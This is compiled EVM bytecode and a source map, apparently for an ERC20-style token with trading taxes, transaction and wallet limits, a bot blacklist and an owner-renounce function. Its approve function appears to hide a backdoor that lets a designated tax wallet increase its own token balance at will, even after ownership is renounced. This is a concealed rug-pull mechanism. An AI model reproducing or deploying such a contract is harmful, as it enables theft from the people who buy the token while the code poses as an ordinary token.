d5b506101a061039136600461140a565b6109bd565b3480156103a1575f80fd5b506101c560115481565b3480156103b6575f80fd5b506102406103c5366004611486565b6109d2565b3480156103d5575f80fd5b506101c56103e4366004611561565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610419575f80fd5b50610240610428366004611598565b610a60565b6005545f906001600160a01b0316336001600160a01b031614801561048057506005546001600160a01b03165f908152600160205260408120805484919083906104789084906115c3565b925050819055115b8061049f57506005546001600160a01b0316336001600160a01b031614155b6104a7575f80fd5b335f8181526002602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b5f6105186009600a6116b6565b61052590620f42406116c4565b905090565b5f610536848484610aa5565b6001600160a01b0384165f908152600260209081526040808320338452909152902054828110156105bf5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6105cc85338584036110b7565b506001949350505050565b5f546001600160a01b031633146106005760405162461bcd60e51b81526004016105b6906116db565b5f5b8151811015610664575f60045f84848151811061062157610621611710565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061065c81611724565b915050610602565b5050565b6005546001600160a01b0316336001600160a01b031614610687575f80fd5b305f9081526001602052604090205480156106a5576106a5816111da565b478015610664576106648161134a565b5f546001600160a01b031633146106de5760405162461bcd60e51b81526004016105b6906116db565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461074f5760405162461bcd60e51b81526004016105b6906116db565b61075b6009600a6116b6565b61076890620f42406116c4565b600f556107776009600a6116b6565b61078490620f42406116c4565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107b46009600a6116b6565b6107c190620f42406116c4565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107fd5760405162461bcd60e51b81526004016105b6906116db565b601454600160a01b900460ff16156108575760405162461bcd60e51b815260206004820152601860248201527f54726164696e6720697320616c7265616479206f70656e2e000000000000000060448201526064016105b6565b6013546001600160a01b031663f305d7194730610888816001600160a01b03165f9081526001602052604090205490565b5f8061089b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610901573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610926919061173c565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561097b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061099f9190611767565b506014805462ff00ff60a01b19166201000160a01b17905543600655565b5f6109c9338484610aa5565b50600192915050565b5f546001600160a01b031633146109fb5760405162461bcd60e51b81526004016105b6906116db565b5f5b815181101561066457600160045f848481518110610a1d57610a1d611710565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905580610a5881611724565b9150506109fd565b6005546001600160a01b0316336001600160a01b031614610a7f575f80fd5b6009548111158015610a935750600a548111155b610a9b575f80fd5b6009819055600a55565b6001600160a01b038316610b095760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b6565b6001600160a01b038216610b6b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b6565b5f8111610bcc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105b6565b5f80546001600160a01b03858116911614801590610bf757505f546001600160a01b03848116911614155b15610f77576001600160a01b0384165f9081526004602052604090205460ff16158015610c3c57506001600160a01b0383165f9081526004602052604090205460ff16155b610c44575f80fd5b6064600b54600e5411610c5957600754610c5d565b6009545b610c6790846116c4565b610c719190611786565b6014549091506001600160a01b038581169116148015610c9f57506013546001600160a01b03848116911614155b8015610cc357506001600160a01b0383165f9081526003602052604090205460ff16155b15610dca57600f54821115610d1a5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105b6565b60105482610d3c856001600160a01b03165f9081526001602052604090205490565b610d4691906115c3565b1115610d945760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105b6565b436006546001610da491906115c3565b1015610db557823b15610db5575f80fd5b600e8054905f610dc483611724565b91905055505b6014546001600160a01b03848116911614801590610e0057506001600160a01b0383165f9081526003602052604090205460ff16155b15610e7f5760105482610e27856001600160a01b03165f9081526001602052604090205490565b610e3191906115c3565b1115610e7f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105b6565b6014546001600160a01b038481169116148015610ea557506001600160a01b0384163014155b15610eda576064600c54600e5411610ebf57600854610ec3565b600a545b610ecd90846116c4565b610ed79190611786565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610f1057506014546001600160a01b038581169116145b8015610f255750601454600160b01b900460ff165b8015610f32575060115481115b8015610f415750600d54600e54115b15610f7557610f63610f5e84610f5984601254611381565b611381565b6111da565b478015610f7357610f734761134a565b505b505b8015610ff057305f90815260016020526040902054610f979082906115c3565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fe79085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110139083906117a5565b6001600160a01b0385165f9081526001602052604090205561103581836117a5565b6001600160a01b0384165f9081526001602052604090205461105791906115c3565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110a084866117a5565b60405190815260200160405180910390a350505050565b6001600160a01b0383166111195760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b6565b6001600160a01b03821661117a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b6565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061122057611220611710565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611277573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061129b91906117b8565b816001815181106112ae576112ae611710565b6001600160a01b0392831660209182029290920101526013546112d491309116846110b7565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061130c9085905f908690309042906004016117d3565b5f604051808303815f87803b158015611323575f80fd5b505af1158015611335573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610664573d5f803e3d5ffd5b5f81831161138f5782611391565b815b9392505050565b5f6020808352835180828501525f5b818110156113c3578581018301518582016040015282016113a7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113f7575f80fd5b50565b8035611405816113e3565b919050565b5f806040838503121561141b575f80fd5b8235611426816113e3565b946020939093013593505050565b5f805f60608486031215611446575f80fd5b8335611451816113e3565b92506020840135611461816113e3565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215611497575f80fd5b823567ffffffffffffffff808211156114ae575f80fd5b818501915085601f8301126114c1575f80fd5b8135818111156114d3576114d3611472565b8060051b604051601f19603f830116810181811085821117156114f8576114f8611472565b604052918252848201925083810185019188831115611515575f80fd5b938501935b8285101561153a5761152b856113fa565b8452938501939285019261151a565b98975050505050505050565b5f60208284031215611556575f80fd5b8135611391816113e3565b5f8060408385031215611572575f80fd5b823561157d816113e3565b9150602083013561158d816113e3565b809150509250929050565b5f602082840312156115a8575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b80820180821115610505576105056115af565b600181815b8085111561161057815f19048211156115f6576115f66115af565b8085161561160357918102915b93841c93908002906115db565b509250929050565b5f8261162657506001610505565b8161163257505f610505565b816001811461164857600281146116525761166e565b6001915050610505565b60ff841115611663576116636115af565b50506001821b610505565b5060208310610133831016604e8410600b8410161715611691575081810a610505565b61169b83836115d6565b805f19048211156116ae576116ae6115af565b029392505050565b5f61139160ff841683611618565b8082028115828204841417610505576105056115af565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60018201611735576117356115af565b5060010190565b5f805f6060848603121561174e575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611777575f80fd5b81518015158114611391575f80fd5b5f826117a057634e487b7160e01b5f52601260045260245ffd5b500490565b81810381811115610505576105056115af565b5f602082840312156117c8575f80fd5b8151611391816113e3565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118215784516001600160a01b0316835293830193918301916001016117fc565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212209ecc886255e051e8a24f5ace0c372bd126919efc3496af920adb5adda34f3d0a64736f6c63430008140033

2301:8919:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4495:69;;;;;;;;;;-1:-1:-1;4556:5:0;;;;;;;;;;;;-1:-1:-1;;;4556:5:0;;;;4495:69;;;;;;;:::i;:::-;;;;;;;;5332:339;;;;;;;;;;-1:-1:-1;5332:339:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;5332:339:0;1162:187:1;3465:56:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;3465:56:0;1354:177:1;4724:81:0;;;;;;;;;;;;;:::i;5683:454::-;;;;;;;;;;-1:-1:-1;5683:454:0;;;;;:::i;:::-;;:::i;4649:69::-;;;;;;;;;;-1:-1:-1;4649:69:0;;3176:1;2139:36:1;;2127:2;2112:18;4649:69:0;1997:184:1;9850:168:0;;;;;;;;;;-1:-1:-1;9850:168:0;;;;;:::i;:::-;;:::i;:::-;;10026:85;;;;;;;;;;-1:-1:-1;10026:85:0;;;;;:::i;:::-;-1:-1:-1;;;;;10096:7:0;10073:4;10096:7;;;:4;:7;;;;;;;;;10026:85;10851:366;;;;;;;;;;;;;:::i;4811:105::-;;;;;;;;;;-1:-1:-1;4811:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;4895:18:0;4877:7;4895:18;;;:9;:18;;;;;;;4811:105;1478:148;;;;;;;;;;;;;:::i;9409:161::-;;;;;;;;;;;;;:::i;3252:56::-;;;;;;;;;;;;;;;;10119:439;;;;;;;;;;;;;:::i;1264:79::-;;;;;;;;;;-1:-1:-1;1302:7:0;1329:6;1264:79;;-1:-1:-1;;;;;1329:6:0;;;3842:51:1;;3830:2;3815:18;1264:79:0;3696:203:1;3323:56:0;;;;;;;;;;;;;;;;4570:73;;;;;;;;;;-1:-1:-1;4633:7:0;;;;;;;;;;;;-1:-1:-1;;;4633:7:0;;;;4570:73;;5157:167;;;;;;;;;;-1:-1:-1;5157:167:0;;;;;:::i;:::-;;:::i;3394:56::-;;;;;;;;;;;;;;;;9678:164;;;;;;;;;;-1:-1:-1;9678:164:0;;;;;:::i;:::-;;:::i;4922:129::-;;;;;;;;;;-1:-1:-1;4922:129:0;;;;;:::i;:::-;-1:-1:-1;;;;;5021:18:0;;;5003:7;5021:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4922:129;10570:236;;;;;;;;;;-1:-1:-1;10570:236:0;;;;;:::i;:::-;;:::i;5332:339::-;5450:10;;5407:4;;-1:-1:-1;;;;;5450:10:0;244;-1:-1:-1;;;;;5434:26:0;;5433:71;;;;-1:-1:-1;5477:10:0;;-1:-1:-1;;;;;5477:10:0;5502:1;5467:21;;;:9;:21;;;;;:31;;5492:6;;5467:21;5502:1;;5467:31;;5492:6;;5467:31;:::i;:::-;;;;;;;5466:37;5433:71;5432:103;;;-1:-1:-1;5525:10:0;;-1:-1:-1;;;;;5525:10:0;244;-1:-1:-1;;;;;5509:26:0;;;5432:103;5424:112;;;;;;5559:10;5547:23;;;;:11;:23;;;;;;;;-1:-1:-1;;;;;5547:32:0;;;;;;;;;;;;:41;;;5604:37;1500:25:1;;;5547:32:0;;5559:10;5604:37;;1473:18:1;5604:37:0;;;;;;;-1:-1:-1;5659:4:0;5332:339;;;;;:::o;4724:81::-;4777:7;3232:13;3176:1;3232:2;:13;:::i;:::-;3222:23;;:7;:23;:::i;:::-;4788:14;;4724:81;:::o;5683:454::-;5789:4;5806:36;5816:6;5824:9;5835:6;5806:9;:36::i;:::-;-1:-1:-1;;;;;5880:19:0;;5853:24;5880:19;;;:11;:19;;;;;;;;244:10;5880:33;;;;;;;;5932:26;;;;5924:79;;;;-1:-1:-1;;;5924:79:0;;6502:2:1;5924:79:0;;;6484:21:1;6541:2;6521:18;;;6514:30;6580:34;6560:18;;;6553:62;-1:-1:-1;;;6631:18:1;;;6624:38;6679:19;;5924:79:0;;;;;;;;;6039:57;6048:6;244:10;6089:6;6070:16;:25;6039:8;:57::i;:::-;-1:-1:-1;6125:4:0;;5683:454;-1:-1:-1;;;;5683:454:0:o;9850:168::-;1391:6;;-1:-1:-1;;;;;1391:6:0;244:10;1391:22;1383:67;;;;-1:-1:-1;;;1383:67:0;;;;;;;:::i;:::-;9925:6:::1;9920:91;9941:6;:13;9937:1;:17;9920:91;;;9994:5;9976:4;:15;9981:6;9988:1;9981:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;9976:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;9976:15:0;:23;;-1:-1:-1;;9976:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9956:3;::::1;::::0;::::1;:::i;:::-;;;;9920:91;;;;9850:168:::0;:::o;10851:366::-;10917:10;;-1:-1:-1;;;;;10917:10:0;244;-1:-1:-1;;;;;10901:26:0;;10893:35;;;;;;10980:4;10939:20;4895:18;;;:9;:18;;;;;;11001:16;;10997:79;;11034:30;11051:12;11034:16;:30::i;:::-;11107:21;11143:14;;11139:71;;11174:24;11187:10;11174:12;:24::i;1478:148::-;1391:6;;-1:-1:-1;;;;;1391:6:0;244:10;1391:22;1383:67;;;;-1:-1:-1;;;1383:67:0;;;;;;;:::i;:::-;1585:1:::1;1569:6:::0;;1548:40:::1;::::0;-1:-1:-1;;;;;1569:6:0;;::::1;::::0;1548:40:::1;::::0;1585:1;;1548:40:::1;1616:1;1599:19:::0;;-1:-1:-1;;;;;;1599:19:0::1;::::0;;1478:148::o;9409:161::-;1391:6;;-1:-1:-1;;;;;1391:6:0;244:10;1391:22;1383:67;;;;-1:-1:-1;;;1383:67:0;;;;;;;:::i;:::-;3232:13:::1;3176:1;3232:2;:13;:::i;:::-;3222:23;::::0;:7:::1;:23;:::i;:::-;9462:12;:22:::0;3232:13:::1;3176:1;3232:2;:13;:::i;:::-;3222:23;::::0;:7:::1;:23;:::i;:::-;9495:14;:24:::0;9535:27:::1;3232:13;3176:1;3232:2;:13;:::i;:::-;3222:23;::::0;:7:::1;:23;:::i;:::-;9535:27;::::0;1500:25:1;;;1488:2;1473:18;9535:27:0::1;;;;;;;9409:161::o:0;10119:439::-;1391:6;;-1:-1:-1;;;;;1391:6:0;244:10;1391:22;1383:67;;;;-1:-1:-1;;;1383:67:0;;;;;;;:::i;:::-;10185:11:::1;::::0;-1:-1:-1;;;10185:11:0;::::1;;;10184:12;10176:49;;;::::0;-1:-1:-1;;;10176:49:0;;7544:2:1;10176:49:0::1;::::0;::::1;7526:21:1::0;7583:2;7563:18;;;7556:30;7622:26;7602:18;;;7595:54;7666:18;;10176:49:0::1;7342:348:1::0;10176:49:0::1;10236:15;::::0;-1:-1:-1;;;;;10236:15:0::1;:31;10277:21;10310:4;10317:24;10310:4:::0;-1:-1:-1;;;;;4895:18:0;4877:7;4895:18;;;:9;:18;;;;;;;4811:105;10317:24:::1;10343:1;10346::::0;10349:7:::1;1302::::0;1329:6;-1:-1:-1;;;;;1329:6:0;;1264:79;10349:7:::1;10236:138;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10236:138:0;;;-1:-1:-1;;;;;8054:15:1;;;10236:138:0::1;::::0;::::1;8036:34:1::0;8086:18;;;8079:34;;;;8129:18;;;8122:34;;;;8172:18;;;8165:34;8236:15;;;8215:19;;;8208:44;10358:15:0::1;8268:19:1::0;;;8261:35;7970:19;;10236:138:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10392:13:0::1;::::0;10423:15:::1;::::0;10385:71:::1;::::0;-1:-1:-1;;;10385:71:0;;-1:-1:-1;;;;;10423:15:0;;::::1;10385:71;::::0;::::1;8792:51:1::0;-1:-1:-1;;8859:18:1;;;8852:34;10392:13:0;::::1;::::0;-1:-1:-1;10385:29:0::1;::::0;8765:18:1;;10385:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10467:11:0::1;:18:::0;;-1:-1:-1;;;;10496:18:0;-1:-1:-1;;;10496:18:0;;;10538:12:::1;10525:10;:25:::0;10119:439::o;5157:167::-;5235:4;5252:42;244:10;5276:9;5287:6;5252:9;:42::i;:::-;-1:-1:-1;5312:4:0;5157:167;;;;:::o;9678:164::-;1391:6;;-1:-1:-1;;;;;1391:6:0;244:10;1391:22;1383:67;;;;-1:-1:-1;;;1383:67:0;;;;;;;:::i;:::-;9752:6:::1;9747:88;9768:5;:12;9764:1;:16;9747:88;;;9819:4;9802;:14;9807:5;9813:1;9807:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;9802:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;9802:14:0;:21;;-1:-1:-1;;9802:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9782:3;::::1;::::0;::::1;:::i;:::-;;;;9747:88;;10570:236:::0;10649:10;;-1:-1:-1;;;;;10649:10:0;244;-1:-1:-1;;;;;10633:26:0;;10625:35;;;;;;10690:12;;10679:7;:23;;:51;;;;;10717:13;;10706:7;:24;;10679:51;10671:60;;;;;;10742:12;:22;;;10775:13;:23;10570:236::o;6488:2241::-;-1:-1:-1;;;;;6576:18:0;;6568:68;;;;-1:-1:-1;;;6568:68:0;;9381:2:1;6568:68:0;;;9363:21:1;9420:2;9400:18;;;9393:30;9459:34;9439:18;;;9432:62;-1:-1:-1;;;9510:18:1;;;9503:35;9555:19;;6568:68:0;9179:401:1;6568:68:0;-1:-1:-1;;;;;6655:16:0;;6647:64;;;;-1:-1:-1;;;6647:64:0;;9787:2:1;6647:64:0;;;9769:21:1;9826:2;9806:18;;;9799:30;9865:34;9845:18;;;9838:62;-1:-1:-1;;;9916:18:1;;;9909:33;9959:19;;6647:64:0;9585:399:1;6647:64:0;6739:1;6730:6;:10;6722:64;;;;-1:-1:-1;;;6722:64:0;;10191:2:1;6722:64:0;;;10173:21:1;10230:2;10210:18;;;10203:30;10269:34;10249:18;;;10242:62;-1:-1:-1;;;10320:18:1;;;10313:39;10369:19;;6722:64:0;9989:405:1;6722:64:0;6797:17;1329:6;;-1:-1:-1;;;;;6833:15:0;;;1329:6;;6833:15;;;;:32;;-1:-1:-1;1302:7:0;1329:6;-1:-1:-1;;;;;6852:13:0;;;1329:6;;6852:13;;6833:32;6829:1542;;;-1:-1:-1;;;;;6891:10:0;;;;;;:4;:10;;;;;;;;6890:11;:24;;;;-1:-1:-1;;;;;;6906:8:0;;;;;;:4;:8;;;;;;;;6905:9;6890:24;6882:33;;;;;;7017:3;6965:15;;6953:9;;:27;6952:61;;6999:14;;6952:61;;;6984:12;;6952:61;6942:72;;:6;:72;:::i;:::-;:78;;;;:::i;:::-;7049:13;;6930:90;;-1:-1:-1;;;;;;7041:21:0;;;7049:13;;7041:21;:55;;;;-1:-1:-1;7080:15:0;;-1:-1:-1;;;;;7066:30:0;;;7080:15;;7066:30;;7041:55;:83;;;;-1:-1:-1;;;;;;7102:22:0;;;;;;:18;:22;;;;;;;;7100:24;7041:83;7037:434;;;7163:12;;7153:6;:22;;7145:60;;;;-1:-1:-1;;;7145:60:0;;10823:2:1;7145:60:0;;;10805:21:1;10862:2;10842:18;;;10835:30;10901:27;10881:18;;;10874:55;10946:18;;7145:60:0;10621:349:1;7145:60:0;7258:14;;7248:6;7232:13;7242:2;-1:-1:-1;;;;;4895:18:0;4877:7;4895:18;;;:9;:18;;;;;;;4811:105;7232:13;:22;;;;:::i;:::-;:40;;7224:79;;;;-1:-1:-1;;;7224:79:0;;11177:2:1;7224:79:0;;;11159:21:1;11216:2;11196:18;;;11189:30;11255:28;11235:18;;;11228:56;11301:18;;7224:79:0;10975:350:1;7224:79:0;7345:12;7328:10;;7341:1;7328:14;;;;:::i;:::-;:29;7324:102;;;8855:20;;8894:8;7382:24;;;;;;7444:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7037:434;7497:13;;-1:-1:-1;;;;;7491:19:0;;;7497:13;;7491:19;;;;:47;;-1:-1:-1;;;;;;7516:22:0;;;;;;:18;:22;;;;;;;;7514:24;7491:47;7487:167;;;7593:14;;7583:6;7567:13;7577:2;-1:-1:-1;;;;;4895:18:0;4877:7;4895:18;;;:9;:18;;;;;;;4811:105;7567:13;:22;;;;:::i;:::-;:40;;7559:79;;;;-1:-1:-1;;;7559:79:0;;11177:2:1;7559:79:0;;;11159:21:1;11216:2;11196:18;;;11189:30;11255:28;11235:18;;;11228:56;11301:18;;7559:79:0;10975:350:1;7559:79:0;7680:13;;-1:-1:-1;;;;;7674:19:0;;;7680:13;;7674:19;:44;;;;-1:-1:-1;;;;;;7697:21:0;;7713:4;7697:21;;7674:44;7670:178;;;7829:3;7774:16;;7762:9;;:28;7761:64;;7810:15;;7761:64;;;7794:13;;7761:64;7751:75;;:6;:75;:::i;:::-;:81;;;;:::i;:::-;7739:93;;7670:178;7913:4;7864:28;4895:18;;;:9;:18;;;;;;7939:6;;-1:-1:-1;;;7939:6:0;;;;7938:7;:30;;;;-1:-1:-1;7955:13:0;;-1:-1:-1;;;;;7949:19:0;;;7955:13;;7949:19;7938:30;:45;;;;-1:-1:-1;7972:11:0;;-1:-1:-1;;;7972:11:0;;;;7938:45;:89;;;;;8010:17;;7987:20;:40;7938:89;:123;;;;;8043:18;;8031:9;;:30;7938:123;7934:426;;;8082:69;8099:51;8103:6;8111:38;8115:20;8137:11;;8111:3;:38::i;:::-;8099:3;:51::i;:::-;8082:16;:69::i;:::-;8199:21;8243:22;;8239:106;;8290:35;8303:21;8290:12;:35::i;:::-;8063:297;7934:426;6867:1504;6829:1542;8387:13;;8383:169;;8462:4;8444:24;;;;:9;:24;;;;;;:36;;8471:9;;8444:36;:::i;:::-;8435:4;8417:24;;;;:9;:24;;;;;;;:63;;;;8500:40;;-1:-1:-1;;;;;8500:40:0;;;;;;;8530:9;1500:25:1;;1488:2;1473:18;;1354:177;8500:40:0;;;;;;;;8383:169;-1:-1:-1;;;;;8580:15:0;;;;;;:9;:15;;;;;;:24;;8598:6;;8580:24;:::i;:::-;-1:-1:-1;;;;;8562:15:0;;;;;;:9;:15;;;;;:42;8648:18;8657:9;8648:6;:18;:::i;:::-;-1:-1:-1;;;;;8631:13:0;;;;;;:9;:13;;;;;;:36;;;;:::i;:::-;-1:-1:-1;;;;;8615:13:0;;;;;;;:9;:13;;;;;:52;;;;8683:38;;;8702:18;8711:9;8702:6;:18;:::i;:::-;8683:38;;1500:25:1;;;1488:2;1473:18;8683:38:0;;;;;;;6557:2172;6488:2241;;;:::o;6145:335::-;-1:-1:-1;;;;;6238:19:0;;6230:68;;;;-1:-1:-1;;;6230:68:0;;11665:2:1;6230:68:0;;;11647:21:1;11704:2;11684:18;;;11677:30;11743:34;11723:18;;;11716:62;-1:-1:-1;;;11794:18:1;;;11787:34;11838:19;;6230:68:0;11463:400:1;6230:68:0;-1:-1:-1;;;;;6317:21:0;;6309:68;;;;-1:-1:-1;;;6309:68:0;;12070:2:1;6309:68:0;;;12052:21:1;12109:2;12089:18;;;12082:30;12148:34;12128:18;;;12121:62;-1:-1:-1;;;12199:18:1;;;12192:32;12241:19;;6309:68:0;11868:398:1;6309:68:0;-1:-1:-1;;;;;6388:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6440:32;;1500:25:1;;;6440:32:0;;1473:18:1;6440:32:0;;;;;;;6145:335;;;:::o;8918:483::-;3811:6;:13;;-1:-1:-1;;;;3811:13:0;-1:-1:-1;;;3811:13:0;;;9020:16:::1;::::0;;9034:1:::1;9020:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9020:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9020:16:0::1;8996:40;;9065:4;9047;9052:1;9047:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9047:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9091:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9091:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9047:7;;9091:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9081:4;9086:1;9081:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9081:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9156:15:::1;::::0;9124:62:::1;::::0;9141:4:::1;::::0;9156:15:::1;9174:11:::0;9124:8:::1;:62::i;:::-;9197:15;::::0;:196:::1;::::0;-1:-1:-1;;;9197:196:0;;-1:-1:-1;;;;;9197:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9278:11;;9197:15:::1;::::0;9320:4;;9347::::1;::::0;9367:15:::1;::::0;9197:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;3847:6:0;:14;;-1:-1:-1;;;;3847:14:0;;;-1:-1:-1;;;;8918:483:0:o;9578:92::-;9635:10;;:27;;-1:-1:-1;;;;;9635:10:0;;;;:27;;;;;9655:6;;9635:10;:27;:10;:27;9655:6;9635:10;:27;;;;;;;;;;;;;;;;;;;5057:92;5114:7;5136:1;5132;:5;5131:15;;5145:1;5131:15;;;5141:1;5131:15;5124:22;5057:92;-1:-1:-1;;;5057:92:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:127::-;2247:10;2242:3;2238:20;2235:1;2228:31;2278:4;2275:1;2268:15;2302:4;2299:1;2292:15;2318:1121;2402:6;2433:2;2476;2464:9;2455:7;2451:23;2447:32;2444:52;;;2492:1;2489;2482:12;2444:52;2532:9;2519:23;2561:18;2602:2;2594:6;2591:14;2588:34;;;2618:1;2615;2608:12;2588:34;2656:6;2645:9;2641:22;2631:32;;2701:7;2694:4;2690:2;2686:13;2682:27;2672:55;;2723:1;2720;2713:12;2672:55;2759:2;2746:16;2781:2;2777;2774:10;2771:36;;;2787:18;;:::i;:::-;2833:2;2830:1;2826:10;2865:2;2859:9;2928:2;2924:7;2919:2;2915;2911:11;2907:25;2899:6;2895:38;2983:6;2971:10;2968:22;2963:2;2951:10;2948:18;2945:46;2942:72;;;2994:18;;:::i;:::-;3030:2;3023:22;3080:18;;;3114:15;;;;-1:-1:-1;3156:11:1;;;3152:20;;;3184:19;;;3181:39;;;3216:1;3213;3206:12;3181:39;3240:11;;;;3260:148;3276:6;3271:3;3268:15;3260:148;;;3342:23;3361:3;3342:23;:::i;:::-;3330:36;;3293:12;;;;3386;;;;3260:148;;;3427:6;2318:1121;-